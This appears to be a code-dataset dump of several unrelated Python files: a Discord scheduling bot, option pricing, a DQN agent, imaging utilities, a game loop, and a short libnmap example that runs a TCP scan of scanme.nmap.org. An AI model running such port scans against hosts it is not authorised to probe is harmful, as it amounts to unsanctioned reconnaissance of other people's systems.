if right_game_name:\n time = match_result_add.groups()[2]\n print(f'message.author - {message.author}')\n author_id_list = []\n author_name_list = []\n author_id_list.append(message.author.id)\n author_name_list.append(message.author.name)\n t = datetime.today().strftime('%Y-%m-%d') + \"/\" + time\n date = datetime.strptime(t, '%Y-%m-%d/%H:%M')\n\n print(f'message.channel.id: {message.channel.id}')\n\n cur_date = datetime.now()\n cur_date_sting = cur_date.strftime(\"%Y-%m-%d\")\n cur_time = cur_date.time()\n add_time = date.time()\n\n if cur_time > add_time:\n msg = f'нельзя добавлять прошедшее время'\n await message.channel.send(msg)\n else:\n query = Query()\n current_date_res = db.search(query.date.matches(cur_date_sting))\n\n game_number = len(current_date_res) + 1\n\n # Insert a row of data\n db.insert({\n 'game_number': game_number,\n 'message_id': \"\",\n 'channel_id': message.channel.id,\n 'game_name': game_name, \n 'author_id': author_id_list,\n 'author_name': author_name_list,\n 'date': date.strftime(\"%Y-%m-%d %H:%M\")\n })\n\n await responce(message, game_number, game_name, author_name_list, date)\n else:\n msg = 'Raido запретил называть игры смайлами'\n await message.channel.send(msg)\n \n # STATUS\n\n if message.content == '!четам':\n cur_date = datetime.now()\n cur_date_sting = cur_date.strftime(\"%Y-%m-%d\")\n query = Query()\n\n res = db.all()\n print(f\"If. rs_db = {res}\")\n\n if res:\n current_date_res = db.search(query.date.matches(cur_date_sting))\n \n if current_date_res:\n for r in current_date_res:\n game_name = r[\"game_name\"]\n author_name = r[\"author_name\"]\n date = r[\"date\"]\n try:\n game_number = r[\"game_number\"]\n except KeyError:\n game_number = 0\n date_in_db = datetime.strptime(r[\"date\"], \"%Y-%m-%d %H:%M\")\n await responce(message, game_number, game_name, author_name, date_in_db) \n else:\n print(\"Else\")\n response = f'На сегодня игорей нет'\n res = await message.channel.send(response)\n print(f'сообщенее отправлено - {res.id}')\n\n else:\n print(\"Else\")\n response = f'База расписаний пустая'\n res = await message.channel.send(response)\n print(f'сообщенее отправлено - {res.id}')\n\n #conn.close()\n\n pattern_rm = re.compile(\"^(!rm)\\s(.*)\")\n match_result_rm = re.match(pattern_rm, message.content)\n\n # RM \n\n if match_result_rm:\n print(f\"got !rm\")\n game_number = int(match_result_rm.groups()[1])\n res = db.get(where(\"game_number\") == game_number)\n db.remove(where(\"game_number\") == game_number)\n print(f\"deleted: {game_number}\") \n \n print(f'res: {res}: {bool(res)}')\n if res:\n response = f'удалил {res[\"game_name\"]} '\n await message.channel.send(response)\n else:\n response = f'ничего не удалено'\n await message.channel.send(response)\n\n@client.event\nasync def on_reaction_add(reaction, user):\n if user.bot:\n return\n\n print(f'reaction.message.id = {reaction.message.id}')\n #print(f'MESSAGE_ID = {MESSAGE_ID}'\n ANTIFLOOD_COUNT = 0\n res = db.all()\n messages_list = []\n for i in res:\n messages_list.append(i[\"message_id\"])\n\n if reaction.message.id in messages_list:\n ANTIFLOOD_COUNT += 1\n db_users.upsert({\"user_id\": user.id, \"count\": ANTIFLOOD_COUNT}, where(\"user_id\") == user.id)\n \n res = db_users.get(where(\"user_id\") == user.id)\n\n if res[\"count\"] > 3:\n response = f'<@{user.id}> - зашкрекан на 15 сек'\n\n db_users.update({user.id: {\n \"ban_time\": datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")}\n })\n\n await reaction.message.channel.send(response)\n else:\n if reaction.emoji == \"➕\":\n res = db.get(where('message_id') == reaction.message.id)\n game_name = res[\"game_name\"]\n game_date = res[\"date\"]\n #response = f'{user} - подписался'\n await subscribe(reaction, game_name, game_date, user)\n #await reaction.message.channel.send(response)\n else:\n print(f\"reaction.emoji not equal ➕: {reaction.emoji}\")\n if reaction.emoji == \"➖\":\n res = db.get(where('message_id') == reaction.message.id)\n game_name = res[\"game_name\"]\n game_date = res[\"date\"]\n await unsubscribe(reaction, game_name, game_date, user)\n print(f\"{user} - отписался\")\n #response = f'{user} - отписался'\n #await reaction.message.channel.send(response)\n else:\n print(\"Else minus\")\n print(f\"update flood count: {ANTIFLOOD_COUNT}\")\n db_users.update({\"count\": ANTIFLOOD_COUNT}, where(\"user_id\") == user.id)\n \n \n\n\nclient.run(TOKEN)\n","repo_name":"mleonovvv/orgbot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"19580448851","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport random\r\nimport pandas as pd\r\n\r\n\r\nclass Binomial():\r\n def _init_(self, n, S, K, r, v, t, PutCall):\r\n #liczba krokow w modelu\r\n self.n=n\r\n #aktualna wartosc\r\n self.S=S\r\n #cena wykonania\r\n self.K=K\r\n #stopa risk-free\r\n self.r=r\r\n #zmiennosc\r\n self.v=v\r\n #w latach czas do wygasniecia\r\n self.t=t\r\n #typ put/call\r\n self.PutCall=PutCall\r\n \r\n def wycena(self):\r\n #krok 1 , czas \r\n delta_t = self.t/self.n\r\n #wspolczynniki gora/dol \r\n u=np.exp(self.v * np.sqrt(delta_t))\r\n d=np.exp(-self.v * np.sqrt(delta_t))\r\n #cofanie\r\n p=(np.exp(self.r * delta_t)-d)/(u-d)\r\n #print(p)\r\n \r\n #tworzenie macierzy z wartosciami akcji na dany moment\r\n akcje = np.zeros((self.n +1,self.n +1))\r\n akcje[0,0]=self.S\r\n for i in range (1, self.n + 1):\r\n #gora\r\n akcje[i,0]=akcje[i-1,0]*u\r\n #do dolu\r\n for j in range(1,i+1):\r\n akcje[i,j]=akcje[i-1,j-1]*d\r\n #print(akcje)\r\n #wycena na koncowych wezlach\r\n wartosc = np.zeros((self.n +1,self.n +1))\r\n for j in range(self.n +1):\r\n #call\r\n if self.PutCall == \"C\":\r\n wartosc[self.n,j]=max(0,akcje[self.n,j]-self.K)\r\n #put\r\n elif self.PutCall == \"P\":\r\n wartosc[self.n,j] = max(0, self.K - akcje[self.n,j])\r\n #print(wartosc)\r\n #algorytm backward od konca do poczatku wycena [dyskontowanie], max oplacalnosci\r\n for i in range(self.n - 1, -1, -1):\r\n for j in range(i + 1):\r\n if self.PutCall == \"P\":\r\n wartosc[i, j] = max(0, self.K - akcje[i, j], \r\n np.exp(-self.r * delta_t) * \r\n (p * wartosc[i + 1, j] + (1 - p) * wartosc[i + 1, j + 1]))\r\n elif self.PutCall == \"C\":\r\n wartosc[i, j] = max(0, akcje[i, j] - self.K, np.exp(-self.r * delta_t) * \r\n (p * wartosc[i + 1, j] + (1 - p) * wartosc[i + 1, j + 1]))\r\n #print(wartosc)\r\n return round(wartosc[0,0],2)\r\n \r\n def wykres(self):\r\n if self.PutCall == \"C\":\r\n y = [-self.wycena()] * self.K\r\n y += [x - self.wycena() for x in range(self.K)]\r\n plt.plot(range(2 * self.K), y)\r\n plt.axis([0, 2 * self.K, min(y) - 10, max(y) + 10])\r\n plt.xlabel('Cena instrumentu bazowego')\r\n plt.ylabel('Zysk/strata')\r\n plt.axvline(x=self.S, linestyle='--', color='black')\r\n plt.axhline(y=0, linestyle=':', color='black')\r\n plt.title('Opcja amerykanska call')\r\n plt.text(self.S, 0, 'aktualnie')\r\n plt.show()\r\n elif self.PutCall == \"P\":\r\n y = [-x + self.K - self.wycena() for x in range(self.K)]\r\n y += [-self.wycena()] * (self.K)\r\n plt.plot(range(2 * self.K), y, color='red')\r\n plt.axis([0, 2 * self.K, min(y) - 10, max(y) + 10])\r\n plt.xlabel('Cena instrumentu bazowego')\r\n plt.ylabel('Zysk/strata')\r\n plt.axvline(x=self.S, linestyle='--', color='black')\r\n plt.axhline(y=0, linestyle=':', color='black')\r\n plt.title('Opcja amerykanska put')\r\n plt.text(self.S, 0, 'aktualnie')\r\n plt.show()\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n#test\r\nfor i in range(5):\r\n PutCall=random.choice(['P','C'])\r\n n=random.randint(4,40)\r\n S=random.randint(60,100)\r\n K=random.randint(60,100)\r\n r=random.uniform(0.0,1.0)\r\n v=random.uniform(0.0,1.0)\r\n t=random.uniform(1/12,10.0)\r\n opcja=Binomial()\r\n opcja.K=K\r\n opcja.PutCall=PutCall\r\n opcja.n=n\r\n opcja.S=S\r\n opcja.K=K\r\n opcja.r=r\r\n opcja.v=v\r\n opcja.t=t\r\n print(opcja.wycena(),\" typ \",PutCall)\r\n opcja.wykres()\r\n\r\n\r\n#realny\r\n\r\ndjx=pd.read_csv(\"C:/\",\r\n usecols=(0,1,11,12))\r\ndjx.insert(2,\"wycena call\",np.zeros(len(djx)),1)\r\ndjx=djx[['Expiration Date','Strike','Calls','wycena call','Puts']]\r\ndjx.insert(5,\"wycena put\",np.zeros(len(djx)),1)\r\nEx=djx['Expiration Date']\r\ndjx['Expiration Date']=(((pd.to_datetime(djx['Expiration Date'])-pd.datetime.today()).dt.days)/360)\r\ndjx['Strike']=djx['Strike'].astype('int32')\r\nopcjaDJ=Binomial()\r\nopcjaDJ.n=int(input(\"Wprowadz liczbe krokow w modelu: \"))\r\nopcjaDJ.r=0.083\r\nopcjaDJ.v=0.1928\r\nopcjaDJ.S=302.18\r\n\r\n\r\nfor i in range(len(djx)):\r\n opcjaDJ.K=djx.iloc[i]['Strike']\r\n opcjaDJ.t=djx.iloc[i]['Expiration Date']\r\n opcjaDJ.PutCall=\"C\"\r\n djx.loc[i,(\"wycena call\")]=opcjaDJ.wycena()\r\n opcjaDJ.PutCall=\"P\"\r\n djx.loc[i,(\"wycena put\")]=opcjaDJ.wycena()\r\n\r\n\r\n\r\ndjx['Expiration Date']=Ex\r\ndjx.to_excel(r'C:/djx_wycena.xlsx', index = False)\r\n\r\n\r\n#print(djx.head(-15))\r\n\r\n","repo_name":"KarolinaS96/Options","sub_path":"opcjeKS.py","file_name":"opcjeKS.py","file_ext":"py","file_size_in_byte":4943,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"22278373408","text":"import numpy as np\nimport gym, random, math\nfrom gym.wrappers import Monitor\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\n\nclass DQN(nn.Module):\n\n def __init__(self, n_dim_states, n_actions):\n super(DQN, self).__init__()\n self.n_dim_states = n_dim_states\n self.n_actions = n_actions\n\n self.lin1 = nn.Linear(self.n_dim_states, 50)\n self.lin2 = nn.Linear(50, self.n_actions)\n\n self.optimizer = optim.Adam(self.parameters())\n\n def forward(self, X):\n X = F.relu(self.lin1(X))\n return self.lin2(X)\n\n def fit(self, X, y, nb_epoch=1):\n var_X, var_y = Variable(torch.Tensor(X)), Variable(torch.Tensor(y))\n\n \"\"\"\n lr = 0.01\n for i in xrange(nb_epoch):\n self.zero_grad()\n loss = criterion(self(var_X), var_y)\n loss.backward()\n for f in self.parameters():\n f.data.sub_(f.grad.data * lr)\n \"\"\"\n\n for i in xrange(nb_epoch):\n self.optimizer.zero_grad()\n loss = nn.MSELoss()(self(var_X), var_y)\n loss.backward()\n self.optimizer.step()\n\n def predict(self, state):\n var_state = Variable(torch.Tensor(state))\n return self(var_state).data.numpy()\n\n def predict_one(self, state):\n var_state = Variable(torch.Tensor(state.reshape(1, self.n_dim_states)))\n return self(var_state).view(-1).data.numpy()\n\n\n\nclass Agent:\n\n def __init__(self, n_dim_states, n_actions, gamma=0.9, min_epsilon=0.05,\n eps_decay=0.001, batch_size=64, mem_capacity=10000):\n self.n_dim_states = n_dim_states\n self.n_actions = n_actions\n self.gamma = gamma\n self.batch_size = batch_size\n self.DQN = DQN(n_dim_states, n_actions)\n \n # List of past samples (state, action, reward, next_state)\n self.memory = []\n self.mem_capacity = mem_capacity\n\n # Important : epsilon decay, otherwise method has high variance\n self.n_steps = 0 # Keep track of number of steps to decrease epsilon\n self.epsilon = 1 # Start by exploring all the time\n self.min_epsilon = min_epsilon # End up exploiting most of the time\n self.eps_decay = eps_decay # Speed of decay for epsilon\n \n def epsilon_greedy_policy(self, state):\n # Pick random action with probability epsilon\n if random.random() < self.epsilon:\n return random.randint(0, self.n_actions-1)\n # Pick greedy action with probability (1 - epsilon)\n else:\n return np.argmax(self.DQN.predict_one(state))\n\n def greedy_policy(self, state):\n return np.argmax(self.DQN.predict_one(state))\n\n def observe(self, sample):\n # Add sample to memory, and delete one sample if capacity exceeded\n self.memory.append(sample)\n if (len(self.memory) > self.mem_capacity):\n self.memory.pop(0)\n # Decrease epsilon to favor exploitation over exploration over time\n self.n_steps += 1\n # TODO : find more info about epsilon decay schemes\n self.epsilon = self.min_epsilon + (\n 1 - self.min_epsilon) * math.exp(-self.eps_decay * self.n_steps)\n\n def experience_replay(self):\n # Sample a batch from memory uniformly at random\n batch_size = min(self.batch_size, len(self.memory))\n batch = random.sample(self.memory, batch_size)\n\n # Prepare batches of states to predict q-values\n none_state = np.zeros(self.n_dim_states) # Used in place of None for next_state \n states = np.array([sample[0] for sample in batch])\n next_states = np.array([(none_state if sample[3] is None else sample[3]) for sample in batch])\n\n # Predict q-values in batches for efficiency\n q_values = self.DQN.predict(states)\n q_values_next = self.DQN.predict(next_states)\n\n # Fill in our training batch for DQN\n # Important : target is the q_value itself for all actions except the one actually taken\n X = states\n y = q_values\n for i in range(batch_size):\n state, action, reward, next_state = batch[i]\n target = reward if next_state is None else reward + self.gamma * np.amax(q_values_next[i])\n y[i, action] = target\n\n # Fit network with training batch\n self.DQN.fit(X, y)\n\n\nclass Environment:\n def __init__(self, environment):\n #self.env = Monitor(gym.make(environment), 'CartPole-v1-experiment', force=True)\n self.env = gym.make(environment)\n self.n_episodes = 0\n self.n_successes_in_a_row = 0\n\n def run_episode_training(self, agent):\n self.n_episodes += 1\n state = self.env.reset()\n total_reward = 0 \n while True: \n self.env.render()\n action = agent.epsilon_greedy_policy(state)\n next_state, reward, done, info = self.env.step(action)\n # Important to treat next state when done differently \n if done:\n next_state = None\n agent.observe((state, action, reward, next_state))\n agent.experience_replay() \n state = next_state\n total_reward += reward\n if done:\n if total_reward == 500.0:\n self.n_successes_in_a_row += 1\n else:\n self.n_successes_in_a_row = 0\n break\n print(\"Episode {} (training), total reward: {}\".format(self.n_episodes, total_reward))\n\n def run_episode(self, agent):\n self.n_episodes += 1\n state = self.env.reset()\n total_reward = 0\n while True: \n self.env.render()\n action = agent.greedy_policy(state)\n next_state, reward, done, info = self.env.step(action) \n state = next_state\n total_reward += reward\n if done:\n break\n print(\"Episode {}, total reward: {}\".format(self.n_episodes, total_reward))\n\n\n\nif __name__ == \"__main__\":\n env = Environment('CartPole-v1')\n\n n_dim_states = env.env.observation_space.shape[0]\n n_actions = env.env.action_space.n\n\n agent = Agent(n_dim_states, n_actions)\n\n while(env.n_successes_in_a_row < 5):\n env.run_episode_training(agent)\n\n while True:\n env.run_episode(agent)","repo_name":"theophilegervet/open-ai-workouts","sub_path":"dqn_pytorch.py","file_name":"dqn_pytorch.py","file_ext":"py","file_size_in_byte":6462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"25978933858","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom time import sleep\n\nfrom libnmap.process import NmapProcess\n\nnmap_proc = NmapProcess(targets=\"scanme.nmap.org\", options=\"-sT\")\nnmap_proc.run_background()\nwhile nmap_proc.is_running():\n print(\n \"Nmap Scan running: ETC: {0} DONE: {1}%\".format(\n nmap_proc.etc, nmap_proc.progress\n )\n )\n sleep(2)\n\nprint(\"rc: {0} output: {1}\".format(nmap_proc.rc, nmap_proc.summary))\n","repo_name":"savon-noir/python-libnmap","sub_path":"examples/proc_async.py","file_name":"proc_async.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":480,"dataset":"github-code","pt":"27"} +{"seq_id":"13347414874","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def postorderTraversal(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[int]\n \"\"\"\n if not root:\n return []\n stack = [root]\n result = []\n while stack:\n current = stack[-1]\n if not current.left and not current.right:\n result.append(stack.pop().val)\n else:\n if current.right:\n stack.append(current.right)\n current.right = None\n if current.left:\n stack.append(current.left)\n current.left = None\n return result\n \n \n","repo_name":"RealHacker/leetcode-solutions","sub_path":"145_binary_tree_postorder_traversal/binary_tree_postorder.py","file_name":"binary_tree_postorder.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","stars":648,"dataset":"github-code","pt":"27"} +{"seq_id":"27462307559","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport PIL.Image as Im\nimport os\nimport math\nfrom numpy.fft import fft2, fftshift, ifft2, ifftshift\nfrom skimage import io as sio\nfrom skimage.transform import resize\n\n\ndef ft2(img):\n return fftshift(fft2(ifftshift(img)))\n\n\ndef ift2(img):\n return fftshift(ifft2(ifftshift(img)))\n\n\ndef img_val_norm(img, min_val=0., max_val=1.):\n img = img - np.min(img)\n img = img / np.max(img)\n img *= max_val-min_val\n img += min_val\n return img\n\n\ndef multi_img_val_norm(*images, low=0., high=1.):\n images = list(images)\n min_val = np.min(images)\n max_val = np.max(images)\n images = [(img-min_val)/(max_val-min_val) for img in images]\n images = [img*(high-low) + low for img in images]\n return images\n\n\ndef tie_solution(i_focus, i_minus, i_plus, delta_d, wavelength, pixel_size, epsilon):\n # set constants\n assert i_focus.shape == i_minus.shape == i_plus.shape\n p_n = i_focus.shape\n fx = 2*np.pi*np.linspace(-1/pixel_size/2, 1/pixel_size/2, p_n[-1])\n fy = 2*np.pi*np.linspace(-1/pixel_size/2, 1/pixel_size/2, p_n[0])\n [fx_mat, fy_mat] = np.meshgrid(fx, fy)\n k = 2 * np.pi / wavelength\n\n # TIE solution\n derivative = k * (i_plus - i_minus) / (2 * delta_d)\n fmat_square = 1/(fx_mat**2+fy_mat**2+epsilon)\n temp1 = ft2(derivative)*fmat_square\n temp_x = ift2(temp1*fx_mat) / i_focus\n temp_x = ft2(temp_x)*fx_mat\n temp_y = ift2(temp1*fy_mat) / i_focus\n temp_y = ft2(temp_y)*fy_mat\n\n return ift2((temp_x+temp_y)*fmat_square).real\n\n\nclass ImageProcess:\n\n def __init__(self, init_img, convert_mode=True):\n if isinstance(init_img, str):\n self.image = Im.open(init_img)\n else:\n self.image = init_img\n if convert_mode:\n self.image = self.image.convert(\"L\")\n if isinstance(self.image, np.ndarray):\n if len(self.image.shape) != 2:\n raise Exception(\"bad image shape:\", self.image.shape)\n self.height, self.width = np.shape(self.image)\n self.type_ = \"numpy.array\"\n if isinstance(self.image, Im.Image):\n self.width, self.height = self.image.size\n self.type_ = \"Image.Image\"\n\n def image_crop(self, rotate=False, crop_rate=1.0, crop_box=None):\n # print(\"pre_w: \", self.width,\n # \"pre_h: \", self.height)\n # crop_box shape: [left, up, right, down]\n if rotate:\n self.image = self.image.transpose(Im.ROTATE_90)\n self.width, self.height = self.image.size\n # print(\"aft_w: \", self.width,\n # \"aft_h: \", self.height)\n if crop_box is None:\n if self.width >= self.height:\n left = math.floor((self.width-int(crop_rate*self.height))/2)\n right = math.floor((self.width+int(crop_rate*self.height))/2)\n up = math.floor((self.height-int(crop_rate*self.height))/2)\n down = math.floor((self.height+int(crop_rate*self.height))/2)\n crop_box = [left, up, right, down]\n # print(crop_box)\n else:\n left = math.floor((self.width-int(crop_rate*self.width))/2)\n right = math.floor((self.width+int(crop_rate*self.width))/2)\n up = math.floor((self.height-int(crop_rate*self.width))/2)\n down = math.floor((self.height+int(crop_rate*self.width))/2)\n crop_box = [left, up, right, down]\n # print(crop_box)\n\n if crop_box[2] > self.width and crop_box[3] > self.height:\n raise Exception(\"wrong crop box shape, cut out of range\")\n if self.type_ == \"numpy.array\":\n self.image = self.image[crop_box[1]:crop_box[3], crop_box[0]:crop_box[2]]\n return self\n if self.type_ == \"Image.Image\":\n self.image = self.image.crop(box=crop_box)\n return self\n\n def image_scale(self, scale_size):\n if self.type_ == \"numpy.array\":\n self.image = Im.fromarray(self.image)\n if not isinstance(scale_size, tuple) or len(scale_size) != 2:\n raise Exception(\"bad scale size\")\n self.image.thumbnail(scale_size)\n return self\n\n\nclass Check:\n\n def __init__(self, name=None):\n if name is not None:\n self.name = name\n\n @staticmethod\n def multi_img(title=None, ticks=True, colorbar=True,\n colorbar_ticks_num=None, **pic):\n\n len_img = len(pic)\n if 0 < len_img <= 2:\n row_num = 1\n colum_num = 2\n fig_size = [12, 5.5]\n rect = [0.02, 0.02, 1., 0.93]\n pad = [1.08, None, None]\n elif 2 < len_img <= 4:\n row_num = 2\n colum_num = 2\n fig_size = [10, 8.5]\n rect = [0.00, 0.02, 1, 0.95]\n pad = [1.08, 2., None]\n elif 4 < len_img <= 8:\n row_num = 2\n colum_num = 4\n fig_size = [17, 8]\n rect = [0., 0., 1, 0.93]\n pad = [1.08, 2., None]\n else:\n raise Exception(\"Invalid Picture Number!\", len_img)\n\n name_list = pic.keys()\n fig = plt.figure(figsize=fig_size)\n fig.suptitle(title, fontsize=18)\n for n, name in enumerate(name_list):\n plt.subplot(row_num, colum_num, n+1)\n plt.title(name, fontsize=14)\n plt.imshow(pic[name], cmap=\"gray\")\n if not ticks:\n plt.xticks([])\n plt.yticks([])\n if colorbar:\n plt.colorbar()\n plt.tight_layout(pad=pad[0], h_pad=pad[1], w_pad=pad[2], rect=rect)\n plt.show()\n\n @staticmethod\n def wavefront(wave_front, name=None, extremun=False, ticks=True, colobar=True):\n amp, pha = [np.abs(wave_front), np.angle(wave_front)]\n if extremun:\n if name is not None:\n print(name, \"amp min:\", np.min(amp), name, \"amp max:\", np.max(amp))\n print(name, \"pha min:\", np.min(pha), name, \"pha max:\", np.max(pha))\n else:\n print(\"amp min:\", np.min(amp), \"amp max:\", np.max(amp))\n print(\"pha min:\", np.min(pha), \"pha max:\", np.max(pha))\n plt.figure(figsize=[12, 5.5])\n plt.suptitle(name, fontsize=20)\n for i in range(2):\n plt.subplot(1, 2, i+1)\n plt.imshow([amp, pha][i], cmap=\"gray\")\n if colobar:\n plt.colorbar()\n if not ticks:\n plt.xticks([])\n plt.yticks([])\n plt.title([\" amplitude\", \" phase\"][i], fontsize=16)\n plt.tight_layout(w_pad=0.1, rect=[0.02, 0.02, 0.98, 0.93])\n plt.show()\n\n\nclass Wavefront:\n \"\"\"\n toolkit class\n \"\"\"\n def __init__(self, wavefront, wavelength, pixel_size):\n self.wavefront = wavefront\n self.wavelength = wavelength\n self.k = 2*np.pi/wavelength\n self.p_s = pixel_size # pixel_size\n self.p_n = wavefront.shape\n\n def __getattribute__(self, item):\n if item == \"wavefront_ft\":\n return ft2(object.__getattribute__(self, \"wavefront\"))\n else:\n return object.__getattribute__(self, item)\n\n def __getattr__(self, item):\n if item == \"amplitude\":\n return abs(self.wavefront)\n elif item == \"phase\":\n return np.angle(self.wavefront)\n\n @classmethod\n def from_bioimage(cls, amplitude, phase, wavelength, pixel_size):\n return cls(amplitude*np.exp(1j*phase), wavelength, pixel_size)\n \n def _coordinate_fre(self, img_shape):\n fx = 2*np.pi*np.linspace(-1/self.p_s/2, 1/self.p_s/2, int(img_shape[-1]))\n fy = 2*np.pi*np.linspace(-1/self.p_s/2, 1/self.p_s/2, int(img_shape[0]))\n return np.meshgrid(fx, fy) # [fx_mat, fy_mat]\n\n def _coordinate_spatial(self, img_shape):\n total_size = [self.p_s*shape for shape in img_shape]\n dx = np.linspace(-total_size[-1]/2, total_size[-1]/2, int(img_shape[-1]))\n dy = np.linspace(-total_size[0]/2, total_size[0]/2, int(img_shape[0]))\n return np.meshgrid(dx, dy) # [dx_mat, dy_mat]\n\n def spatial_transfer(self, d):\n [fx_mat, fy_mat] = self._coordinate_fre(self.wavefront.shape)\n hz = np.exp(1j*self.k*d * np.sqrt(1-(fx_mat/self.k)**2-(fy_mat/self.k)**2))\n self.wavefront = ift2(ft2(self.wavefront) * hz)\n return self\n\n def lens_transmit(self, focus):\n lens_shape = self.wavefront.shape\n [dx_mat, dy_mat] = self._coordinate_spatial(lens_shape)\n t = np.exp(-1j*self.k*(dx_mat**2+dy_mat**2)/2/focus)\n self.wavefront = self.wavefront*t\n return self\n\n def lens_transfer(self, d1, focus, d2, **kwargs):\n \"\"\"\n :param d1: distance between object wavefront and lens.\n :param focus: lens focus.\n :param kwargs: \"pupil_plane\" is used for checking lens.\n :param d2: distance between lens and imaging plane\n :param kwargs: {\"obj_na\": None, \"working_distance\": None}\n :return: self\n \"\"\"\n # determine the lens size according pixel size and distance between object and lens\n k_max = np.pi/self.p_s\n cos_theta_max = k_max/self.k\n tan_theta = np.tan(np.pi-np.arccos(cos_theta_max))\n lens_pixel_num = np.array([pixel_num-np.min(self.p_n)+tan_theta*d1//self.p_s\n for pixel_num in self.p_n])\n [dx_mat, dy_mat] = self._coordinate_spatial(lens_pixel_num)\n t = np.exp(-1j*self.k * (dx_mat**2+dy_mat**2)/focus/2)\n\n # redefine the object with new coordinate\n target_pl = np.zeros(t.shape).astype(np.complex)\n target_c_x = target_pl.shape[-1]//2\n target_c_y = target_pl.shape[0]//2\n obj_w_half = self.p_n[-1]//2\n obj_h_half = self.p_n[0]//2\n idx_x1 = int(target_c_x - obj_w_half)\n idx_x2 = int(target_c_x - obj_w_half + self.p_n[-1])\n idx_y1 = int(target_c_y - obj_h_half)\n idx_y2 = int(target_c_y - obj_h_half + self.p_n[0])\n target_pl[idx_y1:idx_y2, idx_x1:idx_x2] = self.wavefront\n\n # transfer function\n [fx_mat, fy_mat] = self._coordinate_fre(lens_pixel_num)\n hz1 = np.exp(1j*self.k*d1*np.sqrt(1-(fx_mat/self.k)**2-(fy_mat/self.k)**2))\n hz2 = np.exp(1j*self.k*d2*np.sqrt(1-(fx_mat/self.k)**2-(fy_mat/self.k)**2))\n\n # propagate\n pre_lens_ft = ft2(target_pl) * hz1\n post_lens_ft = ft2(ift2(pre_lens_ft) * t)\n imaging_ft = post_lens_ft * hz2\n self.wavefront = ift2(imaging_ft)[idx_y1:idx_y2, idx_x1:idx_x2]\n return self\n\n @staticmethod\n def forward_propagate(wavefront, wavelength, pixel_size, d):\n wf_obj = Wavefront(wavefront, wavelength, pixel_size)\n return wf_obj.spatial_transfer(d).wavefront\n\n @staticmethod\n def lens_propagate(wavefront, d1, focus, d2, wavelength, pixel_size):\n wf_obj = Wavefront(wavefront, wavelength, pixel_size)\n return wf_obj.lens_transfer(d1=d1, focus=focus, d2=d2).wavefront\n\n @staticmethod\n def multi_focus_img(wavefront, delta_d, wavelength, pixel_size):\n wavefront_minus = Wavefront.forward_propagate(wavefront, wavelength, pixel_size, -delta_d)\n wavefront_plus = Wavefront.forward_propagate(wavefront, wavelength, pixel_size, delta_d)\n i_focus = abs(wavefront*wavefront.conj())\n i_minus = abs(wavefront_minus*wavefront_minus.conj())\n i_plus = abs(wavefront_plus*wavefront_plus.conj())\n return i_focus, i_minus, i_plus\n\n\nclass Registration:\n\n def __init__(self, moving, fixed, **kwargs):\n self.moving = moving\n self.fixed = fixed\n _, self.crop_pos_box = self.config(**kwargs)\n self.moving_cropped, self.fixed_cropped = self._update_reg()\n\n def config(self, **kwargs):\n # crop strategy\n # crop_box: [y_center, x_center, height, width]\n crop_box = [0.5, 0.5, 0.9, 0.9]\n if \"crop_box\" in kwargs.keys():\n crop_box = kwargs[\"crop_box\"]\n fix_shape = self.fixed.shape\n crop_box_shape = [int(ratio*fix_shape[i % 2]) for i, ratio in enumerate(crop_box)]\n\n # convert to position parameters\n crop_pos_x1 = crop_box_shape[0] - crop_box_shape[2]//2\n crop_pos_x2 = crop_pos_x1 + crop_box_shape[2]\n crop_pos_y1 = crop_box_shape[1] - crop_box_shape[3]//2\n crop_pos_y2 = crop_pos_y1 + crop_box_shape[3]\n crop_pos_box = [crop_pos_x1, crop_pos_x2, crop_pos_y1, crop_pos_y2]\n return crop_box_shape, crop_pos_box\n\n def _update_reg(self):\n a, b, c, d = self.crop_pos_box\n return self.moving[a:b, c:d], self.fixed[a:b, c:d]\n\n\ndef main():\n # import images\n path = \"D:\\Workspace\\Git_Proj\\Temp\\data\"\n img1 = resize(sio.imread(os.path.join(path, \"a.jpg\"), as_gray=True), (512, 512))\n img2 = resize(sio.imread(os.path.join(path, \"b.jpg\"), as_gray=True), (512, 512))\n # a = np.random.normal(size=(2, 512, 512))\n wf = img1 * np.exp(1j*img2)\n\n Check.multi_img(img1=img1, img2=img2, colorbar=True, ticks=True)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"yimencc/workspace","sub_path":"CCCode/imaging_process.py","file_name":"imaging_process.py","file_ext":"py","file_size_in_byte":13103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"9546205284","text":"import pygame\n\nfrom Draw_functions import draw_enemy, update_enemy_position\nfrom GameFunctions import input_processing, print_all_text, auto_attack, check_enemy\nimport GlobalVariables\n\n\ndef game():\n \"\"\"\n Запуск игры, обработка входных данных и вывод дисплея.\n \"\"\"\n clock = pygame.time.Clock()\n\n # Циклический вывод фонового звука\n pygame.mixer.music.play(-1)\n pygame.mixer.music.set_volume(0.1)\n\n # Названия говорят сами за себя\n timer_for_auto_attack = GlobalVariables.FPS\n\n while input_processing():\n # Вывод фона\n GlobalVariables.display.blit(GlobalVariables.background, (0, 0))\n\n # Вывод всего нужного текста\n print_all_text()\n\n # Отрисовка врага\n update_enemy_position()\n draw_enemy()\n\n # Вывод отрисованного\n pygame.display.flip()\n\n # Отслеживание за FPS\n clock.tick(GlobalVariables.FPS)\n\n # Авто-Атака\n if timer_for_auto_attack == 0:\n auto_attack()\n check_enemy()\n timer_for_auto_attack = GlobalVariables.FPS\n timer_for_auto_attack -= 1\n\n 